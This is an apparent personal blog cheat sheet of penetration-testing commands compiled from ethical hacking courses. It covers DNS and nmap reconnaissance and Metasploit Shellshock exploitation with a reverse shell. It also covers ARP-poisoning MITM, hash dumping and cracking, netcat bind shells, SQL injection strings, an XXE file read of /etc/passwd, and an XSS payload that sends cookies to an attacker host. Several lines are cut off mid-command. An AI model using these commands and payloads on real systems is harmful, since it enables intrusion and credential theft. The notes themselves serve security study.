Ethical Hacking Cheat Sheet

2020/04/13

Notes from INFOSEC’s Ethical Hacking and Ethical Hacking Certification self-study courses, as well as TryHackMe.

Passive Intelligence

DNS

Get name servers

```
dig @127.0.0.1 example.com ns
```

Get mail servers

```
dig @127.0.0.1 example.com mx
```

Get all records / zone transfer

```
dig @127.0.0.1 example.com axfr
```

AXFR is used to replicate DNS databases, so it will pull all records. It may not be allowed by the server, however.

Reverse lookups

```
dnsrecon -n example.com -r 123.123.123.1-123.123.123.254
```

`-n` specifies the name server, and `-r` the range.

This relies on the DNS server storing reverse records.

DNS proxy / mitm

This is especially useful when we cannot force an application to use a proxy server of our choosing, such as applications that ignore OS HTTP proxy settings.

```
sudo dnschef
```

Without parameters, runs as a proxy, which allows us to intercept requests.

```
sudo dnschef --interface=<if> --fakeip=1.2.3.4 --fakedomains=e
```

This intercepts requests for `example.com` and resolves them to `1.2.3.4` .

Debug it by running dig against it with the `@` option to specify the name server:

```
dig @10.0.0.123 example.com
```

SNMP

This part of the course doesn’t look very passive to me, but it is taught in the passive intelligence section.

Find community strings

```
onesixtyone 10.0.0.123 -c /usr/share/doc/onesixtyone/dict.txt
```

Enumerate entries

```
snmpwalk -v 2c -c secret 10.0.0.123
```

Use the appropriate version (-v) and community string (-c).

Enumerate processes (OID)

```
snmpwalk -v 2c -c secret 10.0.0.123 1.3.6.1.2.1.25.4.2.1.2
```

Use other OIDs to enumerate different values of the system.

Enumerate processes (MIB)

```
snmpwalk -v 2c -c secret 10.0.0.123 hrSWRunName
```

Network discovery

```
sudo netdiscover -r 10.0.0.0/16
```

Network Reconnaissance

netdiscover

```
sudo netdiscover
```

Passively discovers hosts on the network by listening for ARP and other types of packets.

NMAP

Remember to use `-vv` for increased verbosity on all scans.

Ping scan/sweep (no port scan)

```
nmap -sn 10.0.0.0/24
```

- Sends ICMP ping requests when run without root/sudo.
- May use ARP requests on a local network when run with root/sudo.

List scan

```
nmap -sL 10.0.0.0/24
```

Performs reverse DNS lookups, like `dnsrecon` . Does not send any packets to the target hosts.

Firewall/IDS Evasion

No ping:

```
nmap -Pn 10.0.0.123
```

Use in combination with other scans.

Nmap typically pings the host to check whether it is alive before scanning it. Firewalls such as the Windows Firewall drops ICMP ping requests, however, making the host appear to be offline. `-Pn` tells nmap to scan the host directly without pinging it first.

See Firewall/IDS Evasion and Spoofing for more Firewall/IDS evasion techniques.

Fragment:

```
nmap -f 10.0.0.123
nmap -mtu <size> 10.0.0.123
```

Makes scan packets less detectable by an IDS.

Use a bad checksum:

```
nmap -badsum 10.0.0.123
```

A host will drop packets with bad checksums. A firewall may reply to it nevertheless. This can be used to determine if there is a firewall/IDS present.

Connect scan

```
nmap -sT 10.0.0.123
```

- Issues a `connect()` system call. Performs the full TCP handshake and closes the connection with a RST package.
- If the port is closed, the server responds to the `SYN` with a `RST` (a server would respond to anything but a `RST` with a `RST` ; RFC 793).
- If no `SYN/ACK` is sent back from the server, nmap marks the port as `filtered` . No response could be due to a firewall.
- Does not require root privileges.
- Easily detected since servers typically log connections.
- If no port is specified, tests common ports.
- Nmap does this scan by default when run without root/sudo permissions.

Half-open (“stealth”) scan

```
nmap -sS 10.0.0.123
```

- Sends a `SYN` packet but never completes the TCP-handshake with `ACK` ; instead, nmap responds to a running service’s `SYN/ACK` with `RST` .
- A SYN-scan won’t be logged at the application level, since the connection is never completed.
- Trivially detectable by any modern IDS.
- Like `connect()` , `RST` -> closed, no response -> filtered.
- Requires root/sudo (needs raw sockets).
- Nmap does this scan by default when run with root/sudo permissions.

UDP scan

```
nmap -sU 10.0.0.123
```

- For most ports, sends an empty packet. For some ports, sends a protocol-specific payload to increase response rate.
- If a service a listening, typically there is no response (empty packet request). nmap marks the port as `open|filtered` . If there is a response, nmap marks the port as `open` .
- If a service is not listening, the server is expected to reply with an ICMP packet marking the port as unreachable. nmap marks the port as `closed` .
- Much slower than TCP scans due to the no-response nature of open ports.

NULL, FIN, XMAS scans

```
nmap -sN 10.0.0.123
nmap -sF 10.0.0.123
nmap -sX 10.0.0.123
```

- Can evade some firewalls that are configured to look for certain TCP flags, e.g. dropping `SYN` packets to closed ports.
- Easily detectable by a modern IDS.
- Sends a TCP packet with no flags (NULL scan), the `FIN` flag (FIN scan), and `PSH` , `URG` , and `FIN` (XMAS scan), respectively.
- `RST` expected from closed ports.
- No response expected from open ports. nmap marks the port as `open|filtered` .
- Some network devices, e.g. Cisco, might respond with a `RST` regardless to make the port appear to be closed.
- If an ICMP unrechable response is sent, nmap marks the port as `filtered` .

Comma and range syntax

```
nmap -sT 10.0.0.123,124
```

```
nmap -sT 10.0.0.50-80
```

Use this to target multiple hosts.

Greppable output format

```
nmap 10.0.0.123 -oG out.txt
```

Get IP addresses from a ping scan

```
nmap -sn 10.0.0.0/24 -oG pingscan.txt
cat pingscan.txt | cut -f2 -d" "
```

Read and scan IPs from a text file

```
nmap -iL pingscan.txt
```

Test port 80

```
nmap -p 80 10.0.0.123
```

Connect-scan port 80

```
nmap -sT -p 80 10.0.0.123
```

Scan all TCP ports

```
nmap -sT -p- 10.0.0.123
```

`-p-` for all ports.

UDP scan port 53

```
sudo nmap -sU -p53 10.0.0.123
```

TCP + UDP scan

```
sudo nmap -sT -sU 10.0.0.123
```

Will simultaneously test target ports using TCP and UDP.

Protocol scan

```
sudo nmap -sO 10.0.0.123
```

Determines which IP protocols (TCP, ICMP, IGMP, etc) are supported by the target.

Service identification / version detection

```
nmap -sV 10.0.0.123
```

Performs service identification through banner grabbing. For HTTP, you can imagine this performing a HEAD request to identify the server and its version.

```
nmap -sV -p80 10.0.0.123
```

Script scan

Run scripts on the `default` set:

```
nmap -sC 10.0.0.123
```

Run all scripts in a category:

```
nmap --script malware 10.0.0.123
```

Run specific scripts:

```
nmap --script=snmp-sysdescr --script-args snmpcommunity=secret
```

Get help for a script:

```
nmap --script-help ftp-anon.nse
```

Script location: `/usr/share/nmap/scripts`

Script database: `/usr/share/nmap/scripts/script.db` - This includes script categories.

Script categories (full list):

- `default` : A curated set of scripts that are fast, reliable, private, and mostly non-intrusive.
- `auth` : Attempt to guess or bypass authentication.
- `brute` : Brute-force authentication.
- `discovery` : Perform more active network discovery, e.g. by querying SNMP servers.
- `exploit` : Exploit vulnerabilities.
- `fuzzer` : Fuzzes target services.
- `intrusive` : Unsafe and likely to affect the target.
- `malware` : Check whether the target is infected by malware or backdoors.
- `safe` : Do not affect the target.
- `vuln` : Scan for vulnerabilities.

See NSEDoc for a full list of scripts.

TLS cipher scan

```
nmap --script ssl-enum-ciphers -p 443 10.0.0.123
```

Returns cipher suites and compressors used by the server, graded A-F based on strength.

Shellshock test

```
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin
```

MySQL brute force

```
nmap -p 3306 --script mysql-brute 10.0.0.123
```

Understanding and debugging nmap

Use the `--packet-trace` option to print a summary of packets sent and received by nmap. Applies to all types of scans, not just `-sn` in this example.

```
nmap -sn 10.0.0.24/ --packet-trace
```

hping3

Used to craft custom packets. Can be used for all sorts of things.

Scan port 80

```
sudo hping3 -I interface -S 10.0.0.123 -p 80
```

Scan a range of ports

```
sudo hping3 -I interface -S 10.0.0.123 --scan 1-81
```

Spoof the source IP

```
sudo hping3 -I interface -S 10.0.0.123 -a 1.2.3.4 -p 80
```

If port 80 is open on the target, the target will reply to `1.2.3.4` .

Scanning on mobile

Install BusyBox to get GNU tool replicas on the phone.

ARP ping

```
busybox arping 10.0.0.123
```

Port scan

```
busybox pscan 10.0.0.123
```

Nmap

Nmap builds are available for mobile. Install nmap on the device. See command reference above.

Stealthy Network Recon

Nmap options

Nmap timing template

```
nmap -T <polite | sneaky | paranoid | ...>
```

Use this for different degrees of stealth / scanning speed.

Nmap scan delay

```
nmap --scan-delay 2s
```

Nmap waits at least this amount of time between each probe it sends to the target.

SYN scan

```
nmap -sS 10.0.0.123
```

Sends a `SYN` and waits for the response. If the response is `SYN/ACK` , assumes the port is open; if it’s `RST` , assumes it is closed. In the first case, Nmap will *not* send the final `ACK` to complete the handshake.

This is actually the default scan option for nmap (needs root, otherwise falls back to a TCP connect() scan, `-sT`).

FIN scan

```
nmap -sF 10.0.0.123
```

If the port is closed, the target will respond with `RST` . If the port is open, the target does not respond and instead ignores our `FIN` packet.

Windows is an exception to the above: it always responds with a `RST` , so it will appear that ports are always closed. On the bright side, if we know a given port is open and we see this behaviour with `FIN` scans, then we know the target is a Windows host.

Will trigger any decent IDS like snort, so not really decent in practice.

XMAS scan

```
nmap -sX 10.0.0.123
```

Same response behaviour as in the case of `FIN` scans.

Will trigger any decent IDS.

Null scan

```
nmap -sN 10.0.0.123
```

Same response behaviour as in the case of `FIN` and `XMAS` scans.

Will trigger any decent IDS.

Idle scan

```
sudo nmap -sI zombie target
```

Scans ports on the target by spoofing packets that appear to come from a third host. The third host is probed for its IPID, which usually increments sequentially. The third host is required to be idle to make the IPID increments predictable.

Decoy scan

```
sudo nmap -sS -p80 10.0.0.123 -D1.1.1.1,2.2.2.2,3.3.3.3,4.4.4.
```

This will scan the target, but it will also spoof packets that appear to be coming from the given decoy IPs. It will look as if those IPs are also scanning the network.

See the `ME` and `RND` options for the manual for more. `ME` inserts your IP at a specific point in the list (its position is otherwise randomized). `RND` generates a random, non-reserved IP address.

ICMP timestamp request

```
sudo nmap -sn -PE -PP 10.0.0.123 --send-ip
```

By default, Nmap uses ping / icmp requests for host discovery. Many hosts have ping turned off to appear to be unreachable, however, in an attempt to dodge scanners.

Instead, we can get Nmap to send ICMP timestamp requests (13), which a host might not be blocking. `-PE` enables the feature, `-PP` specifies an ICMP timestamp request. `--send-ip` asks Nmap to send packets via raw IP sockets.

Subnet mask request

```
sudo nmap -sn -PE -PM 10.0.0.123 --send-ip
```

Similar comments as in the case above in terms of stealth and motivation.

Fragmentation scan

```
sudo nmap -f -sS 10.0.0.123
```

A fragmentation scan (`-f`) will send tiny fragmented IP packets to the target in an attempt to evade IDSs. This splits up TCP headers over several packets to make it harder for IDSs to detect the scan.

(The example above uses `-sS` for a SYN scan, but you can combine `-f` with other types of scans.)

Packet Sniffing

TShark

Sniff port 80

```
sudo tshark -i interface -f "tcp port 80"
```

Sniff icmp

```
sudo tshark -i interface -f "icmp"
```

Finding and Exploiting Vulnerabilities

Lynis

Check all

```
sudo lynis -c
```

Run all tests.

Pentest scan

```
sudo lynis --pentest
```

For when you don’t have root privileges.

Quick and quiet

```
sudo lynis --pentest -q -Q
```

Quick (`-Q`) and quiet (`-q`) scan which does not prompt for user input and reports only warnings.

Log and report

```
sudo cat /var/log/lynis-report.dat
sudo cat /var/log/lynis.log
```

Check the report and logs for more details on the results of a scan.

Metasploit

Start database service

```
msfdb init
```

Start metasploit framework console

```
msfconsole -L
```

Import Nessus report

```
db_import report.nessus
```

Search for vulnerability in the report

```
vulns -S shellshock
```

Replace shellshock with the vulnerability you are looking for.

Search for exploits for a vulnerability

```
search osvdb:112004
```

In this example we use the vulnerability’s OSVDB ID.

Launching an exploit

```
use exploit/multi/http/apache_mod_cgi_bash_env_exec
```

```
show options
# Set exploit-specific parameters.
set RHOST 10.0.0.123
set TARGETURI /cgi-bin/vulnscript.sh

show payloads
set PAYLOAD linux/x86/shell/reverse_tcp
set LHOST 10.0.0.10

exploit
```

Generic Payload Handler

```
use exploit/multi/handler
```

Provides the Metasploit payload system to exploits launched outside of the framework. Launches a listener that the exploit can connect to.

HTC-Hydra

Crack FTP

```
hydra -L users.txt -P passwords.txt -vV 10.0.0.123 ftp
```

For separate user and password files.

```
hydra -C accounts.txt 10.0.0.123 -vV ftp
```

For a file with lines formatted as `user:password` .

Sniffing

Mininet

To experiment with sniffing and MITM, you can set up virtual networks on your machine using Mininet.

For ARP posioning, specifically, see mininet_tcp_hijacking.

Start mininet

```
mn
```

Run command on host inside the Mininet prompt

```
h1 date
```

`h1` is the host; it could be `h1`, `h2`, `h3`, etc. `date` is the command we are running in this particular example.

Run command on host

```
mininet/m h1 date
```

Use the `m` tool provided by mininet.

ARP Poisoning

Enable forwarding

For a MITM, enable forwarding to avoid breaking the target’s traffic:

```
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
```

Write and display:

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

Poison a specific target

```
sudo arpspoof -i eth0 -t 10.0.0.123 10.0.0.111
```

This makes `10.0.0.123` believe that we are `10.0.0.111` . The latter could be the gateway, for example.

To sniff the traffic between two hosts, we must poison both.

Poison the entire subnet

```
sudo arpspoof -i eth0 10.0.0.111
```

Simply leave the target (`-t`) option out to poison the entire subnet.

Sniff passwords

```
dsniff -i eth0
```

Perform a MITM using ARP poisoning first to sniff passwords from a target.

Ettercap

Ettercap automates ARP poisoning setups for MITM attacks and is also able to dissect packets for various application-layer protocols.

MITM all hosts on the subnet

```
ettercap -T -i eth0 -M arp:remote -L /tmp/mitm ///
```

- `-T` is for terminal mode, as opposed to GUI.
- `-M` specifies the MITM mode.
- `-L` is to create log files.
- `///` is where you specify the target IPs. Three slahes tells Ettercap to scan and poison all hosts on the subnet.

The `-L` option makes Ettercap create two files:

- `.ecp` - logged packets.
- `.eci` - captured information from the session, like credentials.

Read eci/ecp

```
etterlog /tmp/mitm.eci
```

Driftnet

```
driftnet -i eth0
```

Sniffs for images in the traffic.

DNS spoofing

```
dnsspoof -i eth0 -f hosts_file
```

`dnsspoof` forges replies to DNS address / pointer queries. Set up a MITM first with ARP poisoning.

mitmproxy

```
mitmproxy
```

Sits as a proxy between a web client and a web server.

Social Engineering Toolkit (SET)

Among many other things, SET can set up Website clones that deliver exploits to the visitor. These can be browser-specific, or it can be autopwn, which detects the browser and attempts the relevant exploits. The payload can be meterpreter. SET can also be used for credential stealing and other attacks.

```
setoolkit
```

packetrecorder (meterpreter)

List interfaces

```
run packetrecorder -li
```

Record

```
run packetrecorder -i 1
```

Select the appropriate interface.

Cracking Wi-Fi

Use `aircrack-ng` to capture traffic first.

Inspect captured traffic

```
tshark -r capture.pcap
```

Crack a WEP key

```
aircrack-ng capture.pcap
```

Crack WPA2 key

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.pcap
```

This crack relies on a word list. The `rockyou.txt` word list is directly available on Kali Linux.

Cracking Passwords

Windows Lanman passwords

Windows stores LM hashes alongside NTLM hashes unless configured otherwise through a registry key. This is for backwards compatibility to authenticate with lder systems.

Dump hashes with pwdump2

```
pwdump2 > hashes.txt
```

Use `pwdump2` to dump password hashes. This injects a DLL into `lsass.exe` to read the `SAM` file.

Dump hashes with meterpreter

```
run hashdump
```

Crack with John the Ripper

```
john hashes.txt
```

If you know the format:

```
john hashes.txt --format=nt2
```

Cracking MD5 hashes using a wordlist:

```
john hashes.txt --format=Raw-MD5 --wordlist=/usr/share/wordlis
```

Crack with Cain & Abel

On Windows, you can also crack the passwords with Cain & Abel. `john` also exists for Windows.

Linux passwords

Unshadow passwords

```
unshadow passwd shadow > passwords.txt
```

Get the `/etc/passwd` and `/etc/shadow` files from the target, then unshadow them. `unshadow` is part of the John the Ripper package. It combines both the shadow and passwd files so that John can use them.

Crack passwords

```
john passwords.txt
```

Where `passwords` is the file resulting from the unshadow step above.

Crack passwords using a wordlist

```
john passwords.txt -w=wordlist.txt
```

View passwords

```
john --show passwords.txt
```

`passwords.txt` is the same file that was given to John to crack.

Covert Channels and IDS Evasion

Snort

Run in IDS mode

```
snort -A console -i eth0 -c /etc/snort/snort.conf -l /var/log/
```

`-A` is for alerts, which are displayed on the `console`.

Packet capture - text mode

```
snort -dev -i eth0 > capture.txt
```

Custom rules file

```
/etc/snort/rules/local.rules
```

Alert on ICMP requests to any host on the network

```
alert icmp any any -> $HOME_NET any (msg:"ICMP test"; sid:1000
```

- `alert` - Rule action. Generate an alert when the set condition is met.
- `icmp` - Protocol. ICMP, TCP, and UDP.

- `any` - Source IP. `any` matches all source IPs.
- `any` - Source port. `any` matches all source ports.
- `->` - Direction. In this case, from source to destination.
- `$HOME_NET` - Destination IP. `$HOME_NET` is given by the snort.conf file.
- `any` - Destination port. `any` matches all destination ports.
- `msg` - Message included with the alert.
- `sid` - Snort rule ID. IDs <= `100000` are reserved.

Alert on FTP connections

```
alert tcp any any -> $HOME_NET 21 (msg:"FTP connection attempt
```

Not that this rule does not actually care whether the connection succeeds / an FTP server is actually running. It simply reacts to the traffic.

Alert on message content

```
alert tcp any any -> $HOME_NET any (msg:"System file access";
```

This will alert whenever the string `cat /etc/passwd` is found in a request.

Encrypted ncat

```
ncat --ssl -l -p 999 -e /bin/sh
```

Listens on 999 and drops a shell upon receiving a client connection. The channel is encrypted with SSL.

covert_tcp

This transmits messages by hiding them in TCP/IP headers, transferring one byte at a time.

Start the listener

```
sudo covert_tcp -dest localhost -source localhost -source_port
```

Send the message

```
sudo covert_tcp -dest localhost -source localhost -source_port
```

Using Trojans and Backdoors

Netcat

```
nc -L -p 2000 -k -e cmd.exe
```

Gets netcat to listen (`-L`) on port 2000 (`-p 2000`) and bind a shell (`-e cmd.exe`) upon receiving a connection. `-k` makes netcat continue listening even after the client disconnects.

Buffer Overflow Exploits

Fuzzing

See Spike. Tutorial here.

Generate payloads with metasploit

Port bind in Perl

```
msfpayload windows/shell/bind_tcp LPORT=4444 P
```

This generates port bind shellcode in Perl (`P`) format that listens on port 4444.

Reverse shell executable

```
msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPO
```

Exploiting Common Web Application Vulnerabilities

SQL Injection

```
' or 1=1#
```

```
' or 1=1;--
```

Bash injection

```
; echo hi
```

XSS

Test for XSS

```
<script>alert(document.cookie);</script>
```

Execute cookie grab

```
<script>
var i = new Image();
i.src="http://10.0.0.10/grabcookie.php?cookie=" + document.coo
</script>
```

The `grabcookie.php` script would read the `cookie` URL parameter and write it to a file.

More XSS Payloads

[XSS Payloads]

XXE

Test for XXE

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
```

PHP injection

Test for injection

```
phpinfo()
```

Run OS command

```
system('date')
```

Miscellaneous

Sudo

Find programs that a user can run with sudo

```
sudo -l -U user_name
```